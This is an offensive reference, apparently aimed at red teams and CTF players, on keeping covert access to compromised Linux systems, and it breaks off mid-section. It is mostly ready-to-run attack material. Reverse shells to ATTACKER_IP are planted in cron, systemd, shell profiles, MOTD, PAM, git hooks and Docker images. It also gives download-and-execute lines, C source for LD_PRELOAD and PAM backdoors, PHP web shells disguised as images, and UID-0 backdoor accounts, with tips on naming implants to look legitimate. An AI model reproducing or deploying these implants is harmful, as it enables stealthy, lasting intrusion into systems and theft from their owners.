A full operational reference covering every Linux persistence technique used in red team engagements and CTFs — from cron jobs to LD_PRELOAD, SSH backdoors, systemd, SUID, PAM, and more. Includes MITRE ATT&CK mappings and detection notes for each method.
1. What is Persistence?
PERSISTENCE = The ability to maintain access to a compromised system
even after reboots, log-offs, password changes, or
detection of one implant.
WHY IT MATTERS:
→ Re-exploitation is noisy and unreliable
→ Persistence = guaranteed foothold backup
→ Good ops use MULTIPLE methods (entropy / redundancy)
PERSISTENCE LEVELS:
─────────────────────────────────────────────────────────────
User-level → Works without root, survives only per-user sessions
System-level → Root required, survives all reboots, all users
Kernel-level → Deepest — kernel modules, rootkits, hardest to detect
GOLDEN RULE:
Plant persistence IMMEDIATELY after gaining access.
Plant MORE THAN ONE method — if one is burned, others survive.
Use DIFFERENT categories — don't use 3 cron jobs; mix methods.
2. MITRE ATT&CK Persistence Techniques (Linux)
| Technique | MITRE ID | Requires Root |
|---|---|---|
| SSH Authorized Keys | T1098.004 | No |
| Cron Job | T1053.003 | No (user) / Yes (system) |
| Systemd Service | T1543.002 | Yes (system) / No (user) |
| Shell Profile Hijack | T1546.004 | No |
| SUID Binary | T1548.001 | Yes |
| New User Account | T1136.001 | Yes |
| /etc/passwd modify | T1078.003 | Yes |
| rc.local / init.d | T1037.004 | Yes |
| LD_PRELOAD | T1574.006 | Yes |
| PAM Module | T1556.003 | Yes |
| Kernel Module | T1547.006 | Yes |
| Web Shell | T1505.003 | No (web user) |
| Git Hook | T1546 | No |
| MOTD Script | T1037 | Yes |
| at Job | T1053.001 | No |
| Docker Escape | T1611 | No (if in docker group) |
3. SSH Key Backdoor
Most reliable persistence method. Survives reboots, shell changes, password changes.
# ==========================================
# METHOD 1 — Add your public key to target user
# ==========================================
# Step 1: Generate key pair on attacker
ssh-keygen -t rsa -b 4096 -f backdoor_key -N ""
# → backdoor_key (private key — attacker keeps this)
# → backdoor_key.pub (public key — plant on target)
# Step 2: Add public key to target
cat backdoor_key.pub >> /home/user/.ssh/authorized_keys
# If .ssh dir doesn't exist:
mkdir -p /home/user/.ssh
chmod 700 /home/user/.ssh
echo "ssh-rsa AAAA..." >> /home/user/.ssh/authorized_keys
chmod 600 /home/user/.ssh/authorized_keys
chown user:user /home/user/.ssh/authorized_keys
# Step 3: Connect back (attacker)
ssh -i backdoor_key user@TARGET_IP
# ==========================================
# METHOD 2 — Root SSH backdoor
# ==========================================
mkdir -p /root/.ssh
echo "ssh-rsa AAAA..." >> /root/.ssh/authorized_keys
chmod 600 /root/.ssh/authorized_keys
# Connect:
ssh -i backdoor_key root@TARGET_IP
# ==========================================
# METHOD 3 — Enable root SSH login (if disabled)
# ==========================================
# Edit sshd_config
sed -i 's/#PermitRootLogin.*/PermitRootLogin yes/' /etc/ssh/sshd_config
sed -i 's/PermitRootLogin no/PermitRootLogin yes/' /etc/ssh/sshd_config
# Enable password auth (if key-only mode)
sed -i 's/PasswordAuthentication no/PasswordAuthentication yes/' /etc/ssh/sshd_config
# Restart SSH
systemctl restart sshd
service ssh restart
# ==========================================
# METHOD 4 — Alternate SSH port (stealth)
# ==========================================
# Add a second SSH listener on port 2222
echo "Port 2222" >> /etc/ssh/sshd_config
systemctl restart sshd
# Connect:
ssh -i backdoor_key -p 2222 user@TARGET_IP
# ==========================================
# METHOD 5 — SSH config on attacker (convenience)
# ==========================================
# ~/.ssh/config
Host target
HostName TARGET_IP
User root
IdentityFile ~/.ssh/backdoor_key
Port 22
# Connect simply:
ssh target
# ==========================================
# STEALTHY: Hide key in authorized_keys
# ==========================================
# Prefix key with options to restrict what it can do
# (looks less suspicious in audits)
command="/bin/bash",no-port-forwarding,no-X11-forwarding ssh-rsa AAAA...
# OR add blank comments / label it as legitimate
ssh-rsa AAAA... monitoring@system-backup
4. Cron Jobs
Scheduled execution at regular intervals. Works at user and root level.
# ==========================================
# CRON SYNTAX REMINDER
# ==========================================
# * * * * * command
# │ │ │ │ │
# │ │ │ │ └── Day of week (0-7, 0/7=Sunday)
# │ │ │ └──── Month (1-12)
# │ │ └────── Day of month (1-31)
# │ └──────── Hour (0-23)
# └────────── Minute (0-59)
# Special strings:
# @reboot = Run once at startup
# @hourly = Run every hour (0 * * * *)
# @daily = Run every day (0 0 * * *)
# @weekly = Run every week (0 0 * * 0)
# @midnight = Same as @daily
# ==========================================
# METHOD 1 — User crontab (no root required)
# ==========================================
# Edit current user's crontab
crontab -e
# Add reverse shell every minute
* * * * * bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1'
# Run at reboot
@reboot bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1'
# Download and run payload every hour
@hourly curl -s http://ATTACKER_IP:8080/payload.sh | bash
# One-liner (non-interactive add)
(crontab -l 2>/dev/null; echo "* * * * * bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1'") | crontab -
# ==========================================
# METHOD 2 — /etc/cron.d/ (root — system-wide)
# ==========================================
# Create file in /etc/cron.d/ (must specify user!)
echo "* * * * * root bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1'" > /etc/cron.d/systemd-update
# Reboot persistence as root
echo "@reboot root /tmp/.hidden/backdoor.sh" > /etc/cron.d/freedesktop-resolved
# ==========================================
# METHOD 3 — /etc/cron.hourly / daily / weekly / monthly
# ==========================================
# Drop script in hourly cron dir (root required)
cat > /etc/cron.hourly/update-check << 'EOF'
#!/bin/bash
bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1
EOF
chmod +x /etc/cron.hourly/update-check
# ==========================================
# METHOD 4 — /var/spool/cron/crontabs (direct edit)
# ==========================================
# Edit root's crontab directly
echo "* * * * * bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1'" >> /var/spool/cron/crontabs/root
# ==========================================
# STEALTH TIPS
# ==========================================
# Use benign-looking job names
/etc/cron.d/apt-daily-upgrade
/etc/cron.d/systemd-resolved
/etc/cron.d/dbus-org-freedesktop
# Use sleep/background to avoid timing detection
* * * * * root sleep 30 && nohup bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1' &>/dev/null &
# Download-and-run (payload isn't stored on disk!)
* * * * * root curl -s http://ATTACKER_IP/p | bash
# ==========================================
# VERIFY
# ==========================================
crontab -l # List current user's cron
crontab -l -u root # List root's cron (as root)
cat /etc/cron.d/* # System-wide cron jobs
ls -la /etc/cron.hourly /etc/cron.daily
cat /var/spool/cron/crontabs/*
5. Systemd Services & Timers
Root-level. Survives reboots. Blends in with legitimate services perfectly.
# ==========================================
# METHOD 1 — Systemd Service (Root)
# ==========================================
# Create service file (use benign-looking name)
cat > /etc/systemd/system/dbus-org.freedesktop.resolved.service << 'EOF'
[Unit]
Description=Network Name Resolution
After=network.target
[Service]
Type=simple
ExecStart=/usr/bin/bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1'
Restart=always
RestartSec=60
[Install]
WantedBy=multi-user.target
EOF
# Enable and start
systemctl daemon-reload
systemctl enable dbus-org.freedesktop.resolved.service
systemctl start dbus-org.freedesktop.resolved.service
# ==========================================
# METHOD 2 — Systemd Timer (Root)
# ==========================================
# Timer triggers service at intervals (like cron but via systemd)
# Create the service
cat > /etc/systemd/system/systemd-net-resolve.service << 'EOF'
[Unit]
Description=Network Resolver
[Service]
Type=oneshot
ExecStart=/bin/bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1'
EOF
# Create the timer
cat > /etc/systemd/system/systemd-net-resolve.timer << 'EOF'
[Unit]
Description=Network Resolver Timer
[Timer]
OnCalendar=*:*:00 # Every minute
Persistent=true
[Install]
WantedBy=timers.target
EOF
# Enable timer
systemctl daemon-reload
systemctl enable systemd-net-resolve.timer
systemctl start systemd-net-resolve.timer
# ==========================================
# METHOD 3 — User-level Systemd (No Root!)
# ==========================================
# Works as ANY user — survives login/logoff
mkdir -p ~/.config/systemd/user/
# Create user service
cat > ~/.config/systemd/user/dbus-daemon.service << 'EOF'
[Unit]
Description=DBus Message Daemon
[Service]
Type=simple
ExecStart=/bin/bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1'
Restart=always
RestartSec=60
[Install]
WantedBy=default.target
EOF
# Enable user service
systemctl --user daemon-reload
systemctl --user enable dbus-daemon.service
systemctl --user start dbus-daemon.service
# Make user services survive logout (linger):
loginctl enable-linger $USER
# ==========================================
# METHOD 4 — Systemd Generator (Very Stealthy)
# ==========================================
# Generators run EARLY in boot — before most services
# Location: /lib/systemd/system-generators/
cat > /lib/systemd/system-generators/systemd-network-check << 'EOF'
#!/bin/bash
bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1' &
EOF
chmod +x /lib/systemd/system-generators/systemd-network-check
# ==========================================
# STEALTH: Good service names to blend in
# ==========================================
# dbus-org.freedesktop.resolved.service (mimics DNS resolver)
# systemd-network-online.service (mimics network service)
# apt-daily-upgrade.service (mimics apt)
# NetworkManager-dispatcher.service (mimics NM)
# ==========================================
# VERIFY & STATUS
# ==========================================
systemctl list-units --all | grep enabled
systemctl status <service-name>
systemctl list-timers
ls /etc/systemd/system/
ls ~/.config/systemd/user/
6. Shell Profile Hijacking
User-level. No root needed. Executes on every shell open / user login.
# ==========================================
# WHICH FILE DOES WHAT
# ==========================================
# ~/.bashrc → Runs on every new INTERACTIVE bash shell
# ~/.bash_profile → Runs on LOGIN shell (SSH login, TTY login)
# ~/.profile → Runs on login if .bash_profile doesn't exist
# ~/.zshrc → ZSH equivalent of .bashrc
# ~/.zprofile → ZSH login shell
# ~/.bash_logout → Runs when user logs OUT
# /etc/profile → System-wide login shell (root required)
# /etc/bash.bashrc → System-wide interactive shells (root required)
# /etc/profile.d/*.sh → Drop-in scripts, run for ALL users (root)
# ==========================================
# METHOD 1 — .bashrc (user, every shell)
# ==========================================
echo 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1' >> ~/.bashrc
# Background it so it doesn't block shell open
echo 'nohup bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1 &' >> ~/.bashrc
# Download and run (payload not on disk)
echo 'curl -s http://ATTACKER_IP/shell.sh | bash &' >> ~/.bashrc
# ==========================================
# METHOD 2 — .bash_profile (login shell)
# ==========================================
echo 'nohup bash -c "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1" &>/dev/null &' >> ~/.bash_profile
# ==========================================
# METHOD 3 — .bash_logout (runs on exit!)
# ==========================================
echo 'nohup bash -c "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1" &>/dev/null &' >> ~/.bash_logout
# ==========================================
# METHOD 4 — /etc/profile.d/ (root — ALL users)
# ==========================================
# Any .sh file here runs for ALL users at login
cat > /etc/profile.d/umask.sh << 'EOF'
#!/bin/bash
nohup bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1' &>/dev/null &
EOF
# ==========================================
# METHOD 5 — /etc/bash.bashrc (root — all interactive shells)
# ==========================================
echo 'nohup bash -c "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1" &>/dev/null &' >> /etc/bash.bashrc
# ==========================================
# METHOD 6 — Alias Hijacking (stealthy!)
# ==========================================
# Adds to .bashrc — runs payload every time user types 'ls'
echo 'alias ls="bash -c '"'"'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1'"'"' & ls"' >> ~/.bashrc
# Or hijack sudo:
echo 'alias sudo="bash -c '"'"'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1'"'"' & sudo"' >> ~/.bashrc
# ==========================================
# METHOD 7 — PATH Hijacking
# ==========================================
# Place malicious binary in directory before /usr/bin
mkdir -p ~/.local/bin
cat > ~/.local/bin/sudo << 'EOF'
#!/bin/bash
nohup bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1' &>/dev/null &
/usr/bin/sudo "$@" # Pass through to real sudo
EOF
chmod +x ~/.local/bin/sudo
# Add early to PATH in .bashrc
echo 'export PATH=~/.local/bin:$PATH' >> ~/.bashrc
7. User & Password Manipulation
Root required. Adding users or modifying passwords for backdoor access.
# ==========================================
# METHOD 1 — Add new root user
# ==========================================
# Add user with root UID=0 (same as root!)
useradd -o -u 0 -g 0 -M -d /root -s /bin/bash backdoor
echo 'backdoor:Password123!' | chpasswd
# OR: manually add to /etc/passwd and /etc/shadow
# /etc/passwd entry (UID=0 = root!)
echo 'backdoor:x:0:0::/root:/bin/bash' >> /etc/passwd
# Generate password hash
openssl passwd -6 'Password123!' # SHA-512 hash
python3 -c "import crypt;print(crypt.crypt('Password123!',crypt.mksalt(crypt.METHOD_SHA512)))"
# Add to /etc/shadow
echo 'backdoor:$6$SALT$HASH:19000:0:99999:7:::' >> /etc/shadow
# ==========================================
# METHOD 2 — Add user to sudo / wheel group
# ==========================================
usermod -aG sudo backdoor # Debian/Ubuntu
usermod -aG wheel backdoor # RHEL/CentOS/Fedora
# Or edit sudoers directly
echo 'backdoor ALL=(ALL) NOPASSWD:ALL' >> /etc/sudoers
echo 'backdoor ALL=(ALL) NOPASSWD:ALL' > /etc/sudoers.d/backdoor
# ==========================================
# METHOD 3 — Modify existing user password
# ==========================================
echo 'root:Password123!' | chpasswd
passwd root # Interactive
# ==========================================
# METHOD 4 — Add SSH key for new user
# ==========================================
useradd -m -s /bin/bash svcuser
mkdir -p /home/svcuser/.ssh
echo "ssh-rsa AAAA..." > /home/svcuser/.ssh/authorized_keys
chmod 700 /home/svcuser/.ssh
chmod 600 /home/svcuser/.ssh/authorized_keys
chown -R svcuser:svcuser /home/svcuser/.ssh
usermod -aG sudo svcuser
# ==========================================
# METHOD 5 — Give existing user a shell
# ==========================================
# www-data, nobody, daemon — give them /bin/bash
usermod -s /bin/bash www-data
echo 'www-data:Password123!' | chpasswd
# ==========================================
# STEALTH USER NAMING
# ==========================================
# Blend in with system usernames:
# syslog, sysmon, svchost, daemon, www-data, mail, news, proxy
# messagebus, systemd-resolve, _apt, landscape, pollinate
useradd -M -s /bin/bash -d /var/lib/syslog syslog2
8. SUID / SGID Backdoors
Root required to set SUID bit. Once set, anyone can run binary as root.
# ==========================================
# WHAT IS SUID?
# ==========================================
# SUID = Set User ID bit
# When set on a binary, it runs with the FILE OWNER's privileges
# If file is owned by root + has SUID = runs as root regardless of caller
# ==========================================
# METHOD 1 — SUID on bash copy
# ==========================================
# Copy bash and set SUID bit
cp /bin/bash /tmp/.bash
chmod +s /tmp/.bash # Set SUID
ls -la /tmp/.bash # Should show -rwsr-xr-x
# Now any user can get root shell:
/tmp/.bash -p # -p = privileged (keeps UID)
# ==========================================
# METHOD 2 — SUID on python / perl / ruby
# ==========================================
# Set SUID on python3
which python3
chmod +s /usr/bin/python3
# Any user now gets root:
python3 -c "import os; os.execl('/bin/bash','bash','-p')"
# Set SUID on find
chmod +s /usr/bin/find
# Any user:
find . -exec /bin/bash -p \; -quit
# Set SUID on vim
chmod +s /usr/bin/vim
# Any user:
vim -c ':py3 import os; os.execl("/bin/bash","bash","-p")'
# Set SUID on cp (sneaky — lets anyone overwrite /etc/passwd!)
chmod +s /bin/cp
# Any user:
# openssl passwd -1 hacked → get hash
# cp /tmp/evil_passwd /etc/passwd
# ==========================================
# METHOD 3 — Compile custom SUID binary
# ==========================================
# On attacker, write setuid_shell.c:
cat > /tmp/setuid_shell.c << 'EOF'
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
int main() {
setuid(0);
setgid(0);
system("/bin/bash -p");
return 0;
}
EOF
# Compile and set SUID
gcc -o /usr/local/bin/sysutil /tmp/setuid_shell.c
chmod +s /usr/local/bin/sysutil
rm /tmp/setuid_shell.c
# Any user runs: sysutil → gets root shell
# ==========================================
# VERIFY SUID BINARIES
# ==========================================
# Find all SUID binaries
find / -perm -4000 -type f 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
# Find SGID binaries
find / -perm -2000 -type f 2>/dev/null
9. SysV Init (init.d / rc.local)
Root required. Older init system — still present on many systems.
# ==========================================
# METHOD 1 — /etc/rc.local (classic)
# ==========================================
# rc.local runs at boot as root
# File must be executable and end with 'exit 0'
# Check if it exists and is enabled
ls -la /etc/rc.local
cat /etc/rc.local
systemctl status rc-local
# Add persistence before 'exit 0'
cat >> /etc/rc.local << 'EOF'
nohup bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1' &>/dev/null &
exit 0
EOF
chmod +x /etc/rc.local
# If rc-local.service doesn't exist (newer Debian/Ubuntu):
cat > /etc/systemd/system/rc-local.service << 'EOF'
[Unit]
Description=RC Local Compatibility
After=network.target
[Service]
Type=forking
ExecStart=/etc/rc.local start
TimeoutSec=0
RemainAfterExit=yes
[Install]
WantedBy=multi-user.target
EOF
systemctl enable rc-local
systemctl start rc-local
# ==========================================
# METHOD 2 — /etc/init.d/ script
# ==========================================
cat > /etc/init.d/networking-helper << 'EOF'
#!/bin/bash
### BEGIN INIT INFO
# Provides: networking-helper
# Required-Start: $remote_fs $syslog
# Required-Stop: $remote_fs $syslog
# Default-Start: 2 3 4 5
# Default-Stop: 0 1 6
# Short-Description: Network helper service
### END INIT INFO
nohup bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1' &>/dev/null &
EOF
chmod +x /etc/init.d/networking-helper
update-rc.d networking-helper defaults # Debian/Ubuntu
chkconfig --add networking-helper # RHEL/CentOS
# ==========================================
# METHOD 3 — /etc/rc?.d/ symlinks
# ==========================================
# rc runlevel directories: rc0.d, rc1.d ... rc6.d
# S = Start script, K = Kill script, number = priority
ln -s /etc/init.d/networking-helper /etc/rc2.d/S99networking-helper
ln -s /etc/init.d/networking-helper /etc/rc3.d/S99networking-helper
10. MOTD Persistence
Root required. Scripts run every time any user logs in via SSH.
# ==========================================
# WHAT IS MOTD?
# ==========================================
# MOTD = Message of the Day
# Scripts in /etc/update-motd.d/ run as root every SSH login!
# Perfect for silent background execution on each login.
# ==========================================
# METHOD 1 — Drop script in motd.d
# ==========================================
cat > /etc/update-motd.d/98-network-check << 'EOF'
#!/bin/bash
nohup setsid bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1' &>/dev/null &
disown
EOF
chmod +x /etc/update-motd.d/98-network-check
# Good filenames to blend in:
# 00-header (already exists — append to it!)
# 10-sysinfo
# 50-motd-news
# 95-hwe-eol
# 98-reboot-required
# 99-network-check
# ==========================================
# METHOD 2 — Append to existing MOTD script
# ==========================================
echo 'nohup bash -c "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1" &>/dev/null &' >> /etc/update-motd.d/00-header
# ==========================================
# VERIFY
# ==========================================
ls -la /etc/update-motd.d/
cat /etc/update-motd.d/98-network-check
11. LD_PRELOAD / Dynamic Linker Hijack
Root required. Advanced — library loads before every program. Deep persistence.
# ==========================================
# HOW LD_PRELOAD WORKS
# ==========================================
# LD_PRELOAD = env variable that forces a shared library to load
# BEFORE any other library — including libc!
# /etc/ld.so.preload = system-wide version (root required)
# → Your code runs every time ANY binary is executed!
# ==========================================
# METHOD 1 — /etc/ld.so.preload
# ==========================================
# Step 1: Write the malicious shared library (preload.c)
cat > /tmp/preload.c << 'EOF'
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
void __attribute__((constructor)) init() {
// This runs automatically when library is loaded
unsetenv("LD_PRELOAD"); // Clear trace
if (fork() == 0) {
// Child process — spawn reverse shell
system("bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1'");
exit(0);
}
}
EOF
# Step 2: Compile as shared library
gcc -fPIC -shared -nostartfiles -o /lib/x86_64-linux-gnu/libutil-preload.so /tmp/preload.c
# Step 3: Add to ld.so.preload
echo '/lib/x86_64-linux-gnu/libutil-preload.so' >> /etc/ld.so.preload
# Now: every command run by ANY user triggers the payload!
# Clean up source:
rm /tmp/preload.c
# ==========================================
# METHOD 2 — User-level LD_PRELOAD via shell profile
# ==========================================
# (No root needed — affects only that user)
mkdir -p ~/.local/lib
# Compile .so file as above → place in ~/.local/lib/
echo 'export LD_PRELOAD=~/.local/lib/libutil.so' >> ~/.bashrc
# ==========================================
# METHOD 3 — /etc/ld.so.conf.d/ (library path hijack)
# ==========================================
# Add attacker-controlled directory to library search path
echo '/tmp/.lib' > /etc/ld.so.conf.d/x86_64-linux-gnu.conf
ldconfig
# Place trojanized library in /tmp/.lib with same name as real lib
# ==========================================
# VERIFY
# ==========================================
cat /etc/ld.so.preload
ldconfig -p | grep preload
12. PAM Backdoor
Root required. Very stealthy — lets you log in with a master password regardless of actual user password.
# ==========================================
# HOW PAM WORKS
# ==========================================
# PAM = Pluggable Authentication Modules
# Controls all authentication: SSH, sudo, su, login, etc.
# PAM config files: /etc/pam.d/
# PAM modules: /lib/x86_64-linux-gnu/security/
# ==========================================
# METHOD 1 — pam_exec.so (run script on auth)
# ==========================================
# Add to /etc/pam.d/sshd (at the bottom of auth section):
echo 'auth optional pam_exec.so /tmp/.backdoor.sh' >> /etc/pam.d/sshd
cat > /tmp/.backdoor.sh << 'EOF'
#!/bin/bash
nohup bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1' &>/dev/null &
EOF
chmod +x /tmp/.backdoor.sh
# → Now every SSH auth attempt triggers the backdoor!
# ==========================================
# METHOD 2 — Compile malicious PAM module
# ==========================================
# Write evil PAM module (pam_backdoor.c):
cat > /tmp/pam_backdoor.c << 'EOF'
#include <security/pam_modules.h>
#include <stdlib.h>
PAM_EXTERN int pam_sm_authenticate(pam_handle_t *pamh, int flags, int argc, const char **argv) {
const char *password;
pam_get_authtok(pamh, PAM_AUTHTOK, &password, NULL);
// If master password matches — ALWAYS succeed
if (password && strcmp(password, "master_backdoor_pass") == 0) {
return PAM_SUCCESS;
}
return PAM_AUTH_ERR;
}
PAM_EXTERN int pam_sm_setcred(pam_handle_t *pamh, int flags, int argc, const char **argv) {
return PAM_SUCCESS;
}
EOF
# Compile
gcc -fPIC -shared -o /lib/x86_64-linux-gnu/security/pam_update.so /tmp/pam_backdoor.c -lpam
# Add to PAM sshd config (before other auth modules):
sed -i '1s/^/auth sufficient pam_update.so\n/' /etc/pam.d/sshd
sed -i '1s/^/auth sufficient pam_update.so\n/' /etc/pam.d/sudo
sed -i '1s/^/auth sufficient pam_update.so\n/' /etc/pam.d/su
# Now: ANY user can log in / use sudo with "master_backdoor_pass"!
13. Web Shell Persistence
No root required (web server user). Gives HTTP-accessible RCE forever.
# ==========================================
# FIND WEB ROOTS
# ==========================================
find / -name "index.php" -o -name "index.html" 2>/dev/null | head -20
ls /var/www/html/
ls /srv/http/
ls /usr/share/nginx/html/
ls /var/www/
grep -r "DocumentRoot" /etc/apache2/ /etc/nginx/ 2>/dev/null
# ==========================================
# METHOD 1 — PHP one-liner
# ==========================================
echo '<?php system($_GET["cmd"]); ?>' > /var/www/html/img_resize.php
echo '<?php eval($_POST["cmd"]); ?>' > /var/www/html/wp-config.bak.php
echo '<?php passthru($_REQUEST["c"]); ?>' > /var/www/html/update.php
# ==========================================
# METHOD 2 — Fake image (bypass mime checks)
# ==========================================
# Combine PHP with GIF header (file looks like image!)
echo -e 'GIF89a\n<?php system($_GET["cmd"]); ?>' > /var/www/html/uploads/profile.php
# Access: http://target.com/uploads/profile.php?cmd=id
# ==========================================
# METHOD 3 — .htaccess (add PHP handler for .jpg!)
# ==========================================
echo 'AddType application/x-httpd-php .jpg .png .gif .txt' > /var/www/html/uploads/.htaccess
# Now drop PHP code in a .jpg file!
echo '<?php system($_GET["cmd"]); ?>' > /var/www/html/uploads/avatar.jpg
# ==========================================
# METHOD 4 — Weevely (steganographic shell)
# ==========================================
# On attacker:
weevely generate StrongPass123 /tmp/shell.php
# Upload shell.php to web root
# Connect:
weevely http://target.com/shell.php StrongPass123
# ==========================================
# STEALTH WEBSHELL NAMES
# ==========================================
# Blend in with WordPress:
/var/www/html/wp-includes/class-wp-xmlrpc.php (append to end)
/var/www/html/wp-content/uploads/2024/01/thumb.php
# Blend in with CMS:
/var/www/html/includes/db-config.php
/var/www/html/assets/js/common.php
/var/www/html/images/ico.php
14. Crontab vs /etc/cron.d/ vs at
# ==========================================
# at JOBS (one-time or delayed execution)
# ==========================================
# Schedule a job for 5 minutes from now
echo 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1' | at now + 5 minutes
# Specific time
echo '/tmp/backdoor.sh' | at 23:59
# List pending at jobs
atq
# View job content
at -c <job_id>
# ==========================================
# QUICK COMPARISON TABLE
# ==========================================
# crontab -e → User's cron, stored /var/spool/cron/crontabs/
# /etc/cron.d/ → Root system cron, must specify user in job line
# /etc/cron.hourly/ → Scripts run hourly by run-parts
# /etc/cron.daily/ → Scripts run daily
# at → One-time delayed jobs
# ==========================================
# ANACRON (runs missed jobs after downtime)
# ==========================================
# /etc/anacrontab — jobs that must run even if system was off
echo '1 5 backdoor /tmp/.update.sh' >> /etc/anacrontab
# Field: period(days) delay(min) job-id command
15. Kernel Module / Rootkit
Root required. Deepest persistence — lives in kernel space. Very hard to detect.
# ==========================================
# CONCEPT
# ==========================================
# Kernel modules (.ko files) are loaded into the kernel
# A malicious module can:
# → Hide files, processes, network connections
# → Hook system calls
# → Give persistent backdoor at kernel level
# → Survive all userspace detection tools
# ==========================================
# SIMPLE MALICIOUS MODULE (example structure)
# ==========================================
# backdoor.c (conceptual — requires kernel dev knowledge):
# #include <linux/module.h>
# #include <linux/kernel.h>
# static int __init backdoor_init(void) {
# printk(KERN_INFO "Module loaded\n");
# // Create hidden process, bind shell, hook syscalls...
# return 0;
# }
# static void __exit backdoor_exit(void) { }
# module_init(backdoor_init);
# module_exit(backdoor_exit);
# MODULE_LICENSE("GPL");
# Compile
# make -C /lib/modules/$(uname -r)/build M=$PWD modules
# Load module
insmod backdoor.ko
# Make persistent (load at boot)
cp backdoor.ko /lib/modules/$(uname -r)/extra/
echo 'backdoor' >> /etc/modules # Load name at boot
depmod -a
# ==========================================
# CHECK EXISTING MODULES (look suspicious)
# ==========================================
lsmod # List loaded modules
modinfo <module_name> # Info about a module
ls /lib/modules/$(uname -r)/
# ==========================================
# KNOWN ROOTKIT FRAMEWORKS (for reference)
# ==========================================
# Diamorphine — Linux LKM rootkit (hides PIDs, files, modules)
# Reptile — Linux LKM rootkit with reverse shell
# Azazel — LD_PRELOAD based userland rootkit
# libprocesshider — Hides processes via LD_PRELOAD
16. Docker Container Persistence
No root required if user is in docker group. docker group = root.
# ==========================================
# CHECK IF IN DOCKER GROUP
# ==========================================
id
groups
# If 'docker' appears → you have root-equivalent!
# ==========================================
# METHOD 1 — Mount host filesystem via Docker
# ==========================================
# Mount entire host / into container
docker run -v /:/mnt/host -it alpine chroot /mnt/host /bin/bash
# → You now have root on the HOST filesystem!
# From this shell — add SSH key, cron job, new user, etc.
echo "ssh-rsa AAAA..." >> /mnt/host/root/.ssh/authorized_keys
echo "* * * * * root bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1" >> /mnt/host/etc/cron.d/backdoor
# ==========================================
# METHOD 2 — Privileged container breakout
# ==========================================
docker run --privileged -it alpine
# Inside container:
mkdir /mnt/host
mount /dev/sda1 /mnt/host # Mount host disk
chroot /mnt/host # Chroot into host
# ==========================================
# METHOD 3 — Docker socket access
# ==========================================
# If you can read /var/run/docker.sock → full Docker control
ls -la /var/run/docker.sock
# Use curl + docker socket:
curl -s --unix-socket /var/run/docker.sock http://localhost/images/json
# Create privileged container via socket:
curl -s --unix-socket /var/run/docker.sock -X POST \
http://localhost/containers/create \
-H "Content-Type: application/json" \
-d '{"Image":"alpine","Cmd":["/bin/sh","-c","chroot /mnt/host /bin/bash"],"Binds":["/:/mnt/host"],"Privileged":true}'
# ==========================================
# METHOD 4 — Persistent malicious Docker image
# ==========================================
# Trojanize an image to add persistence
cat > Dockerfile << 'EOF'
FROM ubuntu:22.04
RUN echo "* * * * * root bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1" >> /etc/cron.d/backdoor
EOF
docker build -t ubuntu:22.04 . # Overwrite the legit image tag!
17. Git Hook Persistence
No root required. Triggers on git operations — common in dev environments.
# ==========================================
# HOW GIT HOOKS WORK
# ==========================================
# Git hooks are scripts that run automatically
# at specific git events (commit, push, merge...)
# Located: <repo>/.git/hooks/
# Useful hooks for persistence:
# pre-commit → Runs before every git commit
# post-commit → Runs after every git commit
# pre-push → Runs before every git push
# post-merge → Runs after every git pull/merge
# ==========================================
# METHOD 1 — pre-commit hook in a repo
# ==========================================
# Find git repos
find / -name ".git" -type d 2>/dev/null
# Add hook (runs every time developer commits!)
cat > /home/dev/project/.git/hooks/pre-commit << 'EOF'
#!/bin/bash
nohup bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1' &>/dev/null &
exit 0 # Must exit 0 or commit fails (suspicious!)
EOF
chmod +x /home/dev/project/.git/hooks/pre-commit
# ==========================================
# METHOD 2 — Global git hooks (affects ALL repos)
# ==========================================
# Set global hooksPath to attacker-controlled directory
git config --global core.hooksPath /tmp/.hooks
mkdir -p /tmp/.hooks
cat > /tmp/.hooks/pre-commit << 'EOF'
#!/bin/bash
nohup bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1' &>/dev/null &
exit 0
EOF
chmod +x /tmp/.hooks/pre-commit
18. Privileged Capabilities Backdoor
Finer-grained than SUID. Grant specific capabilities to binaries.
# ==========================================
# LINUX CAPABILITIES (bypass full SUID)
# ==========================================
# Capabilities split root's power into pieces:
# cap_net_bind_service → bind ports < 1024
# cap_setuid → can change UID to 0 (= root!)
# cap_sys_admin → broad admin capabilities
# cap_dac_override → bypass file read/write permissions
# cap_fowner → bypass ownership checks
# ==========================================
# METHOD 1 — cap_setuid on python
# ==========================================
# Root grants capability to python3
setcap cap_setuid+eip /usr/bin/python3.10
# Any user now gets root UID:
